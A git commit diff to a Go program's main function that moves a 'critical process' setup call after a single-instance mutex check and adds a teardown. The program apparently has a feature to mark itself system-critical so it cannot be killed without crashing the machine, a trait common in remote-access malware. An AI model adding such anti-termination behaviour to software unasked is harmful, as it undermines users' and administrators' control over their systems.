fix rbac and crit process

This commit is contained in:
KingKDot
2026-05-17 16:46:03 -05:00
parent afc9fd4f26
commit 5b0964935c
3 changed files with 37 additions and 12 deletions
+5 -4
View File
@@ -35,10 +35,6 @@ func main() {
}
}
if cfg.CriticalProcess {
criticalproc.Setup()
}
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
if err != nil {
log.Printf("[mutex] failed to initialize mutex: %v", err)
@@ -53,6 +49,11 @@ func main() {
defer releaseMutex()
mutex.SetGlobalRelease(releaseMutex)
if cfg.CriticalProcess {
criticalproc.Setup()
defer criticalproc.Teardown()
}
for {
func() {
defer recoverAndLog("main", nil)